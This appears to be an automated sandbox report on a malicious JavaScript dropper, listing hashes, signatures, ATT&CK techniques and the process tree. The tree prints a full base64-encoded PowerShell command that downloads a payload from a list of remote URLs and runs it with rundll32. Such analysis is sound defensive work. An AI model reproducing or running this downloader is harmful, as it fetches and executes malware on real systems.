5b1e666700f3704c7ed56099c90674d000685b2a2d43efc98397b003ddfd7d27

General

Target

db67d41f97d4262e6d178498970cfb93d65d643bc1023ba0e1c34f87d81e92cd.js
Size

326KB
MD5

8cf4a35e0a4ad2c2b198172b1353274c
SHA1

dae562ca885a48566f0dc8ddab96a501ffaef032
SHA256

db67d41f97d4262e6d178498970cfb93d65d643bc1023ba0e1c34f87d81e92cd
SHA512

27b0fa44f890558d0ba4119604ffdb8472b93aefe0188d801f31796875270a3c809223402f23499a9f21fe15aee9615c8da1fddc2187a52970340d175c604c16
SSDEEP

6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbuffmFllkMGBEMmhS:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/yga

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
932	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	932	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 932	1388	wscript.exe	28
PID 1388 wrote to memory of 932	1388	wscript.exe	28
PID 1388 wrote to memory of 932	1388	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\db67d41f97d4262e6d178498970cfb93d65d643bc1023ba0e1c34f87d81e92cd.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABIAGEAdgBlAG4AdwBhAHIAZABFAHgAdAByAGEAYwB1AHIAcgBpAGMAdQBsAGEAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUATQBBAGIAQQBCAHAAQQBHADQAQQBZAHcAQgBvAEEARwBVAEEAYwBnAEEAdQBBAEcATQBBAGIAdwBCAHUAQQBIAFEAQQBjAGcAQgBoAEEARwBNAEEAZABBAEIAdgBBAEgASQBBAGMAdwBBAD0AIgA7ACQAYgBpAG8AcwBjAG8AcABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBnAEEAWgBRAEIAdABBAEcAOABBAGQAQQBCAG8AQQBHADgAQQBjAGcAQgBoAEEASABnAEEATABnAEIAagBBAEcARQBBAFoAZwBCAGwAQQBBAD0APQAiADsAJABvAGIAdgBvAGwAdgBlAFcAaABpAGcAZwBhAG0AbwByAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAZwBBAEwAZwBBAHkAQQBEAFEAQQBNAEEAQQB1AEEARABJAEEATQBRAEEAMwBBAEMAOABBAE4AdwBCAFUAQQBFAFUAQQBaAFEAQgBxAEEAQwA4AEEAZABRAEEAPQBpAE8ASwBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE0AUQBBAHUAQQBEAEUAQQBPAEEAQQA0AEEAQwA0AEEATQBnAEEAeABBAEQAYwBBAEwAZwBBADUAQQBEAGcAQQBMAHcAQgBUAEEARgBnAEEAUQBRAEEAdgBBAEgAVQBBAE0AUQBCAFkAQQBFAEUAQQBpAE8ASwBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAZwBBAE0AUQBBAHUAQQBEAEkAQQBOAFEAQQB4AEEAQwA0AEEATgBBAEEAMABBAEMANABBAE4AQQBBADMAQQBDADgAQQBaAHcAQQA0AEEARQBzAEEAWgBBAEEAMgBBAEMAOABBAE8AQQBBAD0AaQBPAEsAWgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQB5AEEAQwA0AEEATQBnAEEAdwBBAEQAYwBBAEwAZwBBAHgAQQBEAE0AQQBOAHcAQQB1AEEARABJAEEATQBnAEEAMQBBAEMAOABBAFYAUQBCAHIAQQBGAGcAQQBPAFEAQgBKAEEAQwA4AEEAZQBBAEIASgBBAEEAPQA9AGkATwBLAFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYgBRAEIAcABBAEcAVQBBAFkAUQBCAHkAQQBHAHcAQQBlAFEAQQB1AEEASABNAEEAYgB3AEIANQBBAEMAOABBAFcAQQBCAEcAQQBFAFkAQQBSAHcAQQB2AEEASABnAEEAZQBBAEEAPQBpAE8ASwBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AdwBBADUAQQBDADQAQQBPAEEAQQAxAEEAQwA0AEEATgB3AEEAMABBAEMANABBAE0AZwBBAHgAQQBEAFkAQQBMAHcAQgBUAEEARQBRAEEAYwBBAEEAdgBBAEgASQBBAGEAZwBCAFAAQQBFAGsAQQBWAEEAQQA9AGkATwBLAFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQARQBBAE4AUQBBAHYAQQBHAEkAQQBNAGcAQgBXAEEAQwA4AEEATgBRAEIANABBAEQATQBBAFMAQQBCAFQAQQBBAD0APQBpAE8ASwBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBADQAQQBEAEEAQQBMAHcAQgB1AEEASABZAEEAUQBnAEIAQwBBAEgAQQBBAFYAdwBCAFoAQQBDADgAQQBTAHcAQgBaAEEASABVAEEAYgBnAEIATwBBAEYAWQBBAGkATwBLAFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEANQBBAEMAOABBAFIAQQBCADYAQQBHADQAQQBXAEEAQgAwAEEAQwA4AEEATgBBAEIAaABBAEYAQQBBAGEAQQBCAFUAQQBEAGcAQQBUAHcAQQA9ACIAOwAkAHUAbgBkAGUAYwBlAHAAdABpAHYAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbgBBAEgAVQBBAFoAZwBCAG0AQQBHAEUAQQBkAHcAQgB6AEEARgBVAEEAYwB3AEIAbwBBAEcAVQBBAGMAZwBCAHAAQQBHAEUAQQBiAGcAQQB1AEEARwBZAEEAZABRAEIAMABBAEcASQBBAGIAdwBCAHMAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABBAHQAdABlAHIAeQBPAHMAYwBpAGwAbABvAGcAcgBhAHAAaABpAGUAcwAgAGkAbgAgACQAbwBiAHYAbwBsAHYAZQBXAGgAaQBnAGcAYQBtAG8AcgBlACAALQBzAHAAbABpAHQAIAAiAGkATwBLAFoAIgApACAAewB0AHIAeQAgAHsAJABQAHIAbwBzAGMAcgBpAHAAdABpAG8AbgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAWQBRAEIAdQBBAEcAUQBBAFkAUQBCADAAQQBHAFUAQQBaAEEAQgBUAEEARwBFAEEAYwBnAEIAagBBAEcAOABBAGIAUQBCAGgAQQBIAFEAQQBiAHcAQgAxAEEASABNAEEATABnAEIAMABBAEcAOABBAGQAdwBCAHUAQQBBAD0APQBwAGkARQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHAGsAQQBaAHcAQgAzAEEARwBrAEEAWgB3AEIAbgBBAEcAVQBBAFoAQQBCAEQAQQBHADgAQQBkAFEAQgB1AEEASABRAEEAWgBRAEIAeQBBAEgATQBBAGQAUQBCAHAAQQBIAFEAQQBMAGcAQgB5AEEARwBVAEEAZABnAEIAcABBAEcAVQBBAGQAdwBBAD0AIgA7ACQAaAB5AHAAZQByAGIAbwBsAG8AaQBkAE4AbwBuAHYAYQByAGkAYQBiAGwAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQATQBBAEwAZwBBADUAQQBEAGMAQQBMAGcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQAZwBBAE4AUQBBAD0AIgA7ACQAZQB2AGUAbgB0AHUAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEASABJAEEAWgBRAEIAcABBAEcANABBAGQAQQBCAGwAQQBHAHcAQQBiAEEAQgBwAEEARwBjAEEAWgBRAEIAdQBBAEgAUQBBAGIAQQBCADUAQQBDADQAQQBZAHcAQgBoAEEASABNAEEAYQBRAEIAdQBBAEcAOABBAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAWQBRAEIAdQBBAEcATQBBAGEAUQBCAHcAQQBHAHcAQQBaAFEAQgB6AEEARwBnAEEAYQBRAEIAdwBBAEUAMABBAFoAUQBCADAAQQBHAEUAQQBiAEEAQgBoAEEARwA0AEEAWgB3AEIAMQBBAEcARQBBAFoAdwBCAGwAQQBDADQAQQBZAHcAQgBzAEEARwBrAEEAWQB3AEIAcgBBAEEAPQA9AEgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABFAEEATwBBAEEAdQBBAEQARQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAxAEEARABFAEEATABnAEEANQBBAEQAWQBBAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAZABBAEIAeQBBAEcAawBBAGEAdwBCAHAAQQBHADQAQQBaAHcAQQB1AEEASABNAEEAYQB3AEIAcABBAEEAPQA9ACIAOwAkAGkAbgB0AHIAYQBjAGUAbABsAHUAbABhAHIAVgBlAGMAdABvAHIAYwBhAHIAZABpAG8AZwByAGEAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABlAHIAeQBPAHMAYwBpAGwAbABvAGcAcgBhAHAAaABpAGUAcwApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGkAbgB0AHIAYQBjAGUAbABsAHUAbABhAHIAVgBlAGMAdABvAHIAYwBhAHIAZABpAG8AZwByAGEAbQAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABiAHIAYQBjAGgAeQBkAG8AZAByAG8AbQBvAHUAcwBTAG8AYQBwAHcAbwBvAGQALgB1AG4AYwBvAG4AYwBvAHIAZABhAG4AdABsAHkAUwBhAHIAYwBvAHQAaABlAGMAYQA7ACQAUgBhAG0AbQBpAGUAcwB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBOAEEARwBVAEEAWQB3AEIAbwBBAEcARQBBAGIAZwBCADAAQQBGAEkAQQBhAEEAQgA1AEEASABRAEEAYQBBAEIAdABBAEcAawBBAFkAdwBBAHUAQQBHAEkAQQBkAFEAQgA2AEEASABvAEEAIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAYgByAGEAYwBoAHkAZABvAGQAcgBvAG0AbwB1AHMAUwBvAGEAcAB3AG8AbwBkAC4AdQBuAGMAbwBuAGMAbwByAGQAYQBuAHQAbAB5AFMAYQByAGMAbwB0AGgAZQBjAGEAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADcANgA4ADIANAApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAWQBnAEIAeQBBAEcARQBBAFkAdwBCAG8AQQBIAGsAQQBaAEEAQgB2AEEARwBRAEEAYwBnAEIAdgBBAEcAMABBAGIAdwBCADEAQQBIAE0AQQBVAHcAQgB2AEEARwBFAEEAYwBBAEIAMwBBAEcAOABBAGIAdwBCAGsAQQBDADQAQQBkAFEAQgB1AEEARwBNAEEAYgB3AEIAdQBBAEcATQBBAGIAdwBCAHkAQQBHAFEAQQBZAFEAQgB1AEEASABRAEEAYgBBAEIANQBBAEYATQBBAFkAUQBCAHkAQQBHAE0AQQBiAHcAQgAwAEEARwBnAEEAWgBRAEIAagBBAEcARQBBAEwAQQBCAHQAQQBIAFUAQQBjAHcAQgAwAEEARABzAEEAIgA7ACQAQwByAG8AcwBzAGIAYQByAHMAWQBhAHoAYQB0AGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEkAQQBNAGcAQQB1AEEARABFAEEATgBnAEEAMwBBAEMANABBAE4AQQBBADMAQQBDADQAQQBNAFEAQQB5AEEARABZAEEAVQBNAHgAYQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFEAQQBIAEkAQQBaAFEAQgB1AEEARwBFAEEAYgBRAEIAbABBAEgATQBBAFEAUQBCAHQAQQBIAEEAQQBaAFEAQgBzAEEARwBrAEEAWgBBAEIAaABBAEcATQBBAFoAUQBCAGgAQQBHAFUAQQBMAGcAQgBvAEEARwBVAEEAYgBBAEIAdwBBAEEAPQA9AFUATQB4AGEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBNAEEAYQBBAEIAcABBAEcAVQBBAFoAZwBCAHMAQQBHAFUAQQBjAHcAQgB6AEEARgBRAEEAWQBRAEIAeQBBAEcAawBBAFoAZwBCAG0AQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAWgBBAEIAaABBAEgAUQBBAGEAUQBCAHUAQQBHAGMAQQAiADsAJABQAGUAcgBpAHAAZQB0AGkAYQBIAG8AbQBvAHQAaABlAHIAbQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAOABBAGIAZwBCAHoAQQBIAFEAQQBjAGcAQgAxAEEARwBNAEEAZABBAEIAcABBAEgAWQBBAFoAUQBCAHUAQQBHAFUAQQBjAHcAQgB6AEEAQwA0AEEAWgBBAEIAbABBAEcANABBAGQAQQBCAGgAQQBHAHcAQQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AUQBBAHgAQQBDADQAQQBNAFEAQQB3AEEARABVAEEATABnAEEAMABBAEQAVQBBAEwAZwBBAHkAQQBEAEUAQQBOAEEAQQA9AHcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABBAEEATABnAEEAeABBAEQARQBBAE4AdwBBAHUAQQBEAEkAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEAMwBBAEQAWQBBACIAOwAkAFAAcgBvAGQAcAByAG8AbwBmACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBZAEEAYgB3AEIAeQBBAEcAVQBBAGMAdwBCAHcAQQBHAFUAQQBZAFEAQgByAEEARwBVAEEAYwBnAEIAVgBBAEcANABBAFoAdwBCAGgAQQBIAEEAQQBhAFEAQgB1AEEARwBjAEEATABnAEIAMABBAEcAawBBAFoAUQBCAHUAQQBHAFEAQQBZAFEAQQA9ACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/932-58-0x000000001B100000-0x000000001B3E2000-memory.dmp

Filesize
2.9MB

Download
memory/932-59-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/932-60-0x0000000002784000-0x0000000002787000-memory.dmp

Filesize
12KB

Download
memory/932-61-0x000000000278B000-0x00000000027C2000-memory.dmp

Filesize
220KB

Download

Analysis

Sharing